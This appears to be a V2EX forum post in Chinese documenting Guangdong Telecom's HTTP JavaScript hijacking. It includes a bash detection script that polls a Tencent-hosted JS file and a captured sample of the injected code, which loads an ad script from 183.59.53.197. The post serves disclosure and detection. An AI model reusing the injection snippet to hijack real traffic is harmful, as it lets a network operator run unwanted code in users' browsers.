已知广东电信宽带会随机弹出广告窗口(无图,见过的都知道),由于出现得比较随机,一直不太好复现,这几天有点时间研究了下,写了个脚本复现:
host='mat1.gtimg.com'
path='/www/asset/seajs/sea.js'
referer='http://www.qq.com/'
useragent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
while :
do
hostips=$(nslookup $host|grep -Po '(?<=Address: ).*$')
count=$(echo -e "$hostips"|wc -l)
randresolv=$(echo -e "$hostips"|tail -$((1+RANDOM%count))|head -1)
date=$(date)
content=$(curl -s -N --no-keepalive http://$randresolv$path -H "Host: $host" -H "User-Agent: $useragent" -H "Referer: $referer" -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache')
if echo $content|grep -q 183.59; then
logtext=$(echo "ChinaTelecom javascript hijacking detected - $randresolv - $date")
printf "\n$logtext"
echo $logtext >> ./checklog
echo $content > ./capturedcontent
else
printf .
fi
sleep 10
done
电信只劫持 URL 以.js 结尾、有 Referer 头的 HTTP 请求,上网随便找个 js,以腾讯首页中的 SeaJS 为例,将相应信息填入脚本中的host
path
referer
变量,执行脚本,一段时间(可达一两个小时)后即可出现劫持,劫持频率大概是每 1 到 10 个请求随机出现一次劫持。
运行效果如下图所示: http://ww2.sinaimg.cn/large/0060lm7Tly1fptp6dvpy0j30h20933z0.jpg
劫持后替换的内容:
var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://mat1.gtimg.com/www/asset/seajs/sea.js?cHVzaA=100745';
_atn_obj_.unified_url = 'http://183.59.53.197:3737/remind_adv/ad_unified_access?SP=ABzs...zoPP';
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);
不知道这样算不算是实锤,如果算的话周末准备投诉到 10000,若不见效将写详细报告投诉到工信部
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.